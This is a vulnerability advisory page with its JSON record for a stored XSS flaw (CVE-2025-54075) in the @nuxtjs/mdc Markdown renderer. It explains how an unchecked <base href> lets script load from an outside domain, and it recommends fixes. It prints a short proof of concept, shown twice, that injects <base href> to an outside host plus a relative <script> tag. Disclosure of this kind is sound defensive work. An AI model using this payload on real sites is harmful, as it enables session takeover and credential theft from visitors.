GHSA-CJ6R-RRR9-FG82
Vulnerability from github – Published: 2025-07-20 16:36 – Updated: 2025-07-20 16:36Summary
A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.
Details
- Affected file :
src/runtime/parser/utils/props.ts - Core logic :
validateProp()inspects - attributes that start with
on→ blocked hreforsrc→ filtered byisAnchorLinkAllowed()
Every other attribute and every tag (including<base>) is allowed unchanged, so the malicioushrefon<base>is never validated.
export const validateProp = (attribute: string, value: string) => {
if (attribute.startsWith('on')) return false
if (attribute === 'href' || attribute === 'src') {
return isAnchorLinkAllowed(value)
}
return true // ← “href” on <base> not checked
}
As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.
Proof of Concept
Place the following in any Markdown handled by Nuxt MDC:
<base href="https://vozec.fr">
<script src="/xss.js"></script>
- Start the Nuxt app (
npm run dev). - Visit the page.
- The browser requests
https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).
Impact
- Type: Stored XSS via remote script inclusion
- Affected apps: Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
- Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.
Recommendations
- Disallow or sanitize
<base>tags in the renderer. The safest fix is to strip them entirely. - Alternatively, restrict
hrefon<base>to same-origin URLs and refuse protocols likehttp:,https:,data:, etc. that do not match the current site origin. - Publish a patched release and document the security fix.
- Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with
FORBID_TAGS: ['base'].
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nuxtjs/mdc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54075"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-20T16:36:14Z",
"nvd_published_at": "2025-07-18T16:15:30Z",
"severity": "HIGH"
},
"details": "### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `\u003cbase href=\"https://attacker.tld\"\u003e` element. \nThe `\u003cbase\u003e` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site\u2019s context.\n\n### Details\n- **Affected file**\u2003: `src/runtime/parser/utils/props.ts` \n- **Core logic**\u2003\u2003: `validateProp()` inspects \n * attributes that start with `on` \u2192 blocked \n * `href` or `src` \u2192 filtered by `isAnchorLinkAllowed()` \n Every other attribute and every **tag** (including `\u003cbase\u003e`) is allowed unchanged, so the malicious `href` on `\u003cbase\u003e` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) =\u003e {\n if (attribute.startsWith(\u0027on\u0027)) return false\n if (attribute === \u0027href\u0027 || attribute === \u0027src\u0027) {\n return isAnchorLinkAllowed(value)\n }\n return true // \u2190 \u201chref\u201d on \u003cbase\u003e not checked\n}\n```\n\nAs soon as `\u003cbase href=\"https://vozec.fr\"\u003e` is parsed, any later relative path\u2014`/script.js`, `../img.png`, etc.\u2014is fetched from the attacker\u2019s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n\u003cbase href=\"https://vozec.fr\"\u003e\n\u003cscript src=\"/xss.js\"\u003e\u003c/script\u003e\n```\n\n1. Start the Nuxt app (`npm run dev`). \n2. Visit the page. \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site\u2019s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments\u2026). \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `\u003cbase\u003e` tags** in the renderer. The safest fix is to strip them entirely. \n2. Alternatively, restrict `href` on `\u003cbase\u003e` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin. \n3. Publish a patched release and document the security fix. \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: [\u0027base\u0027]`.",
"id": "GHSA-cj6r-rrr9-fg82",
"modified": "2025-07-20T16:36:14Z",
"published": "2025-07-20T16:36:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54075"
},
{
"type": "WEB",
"url": "https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt-modules/mdc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.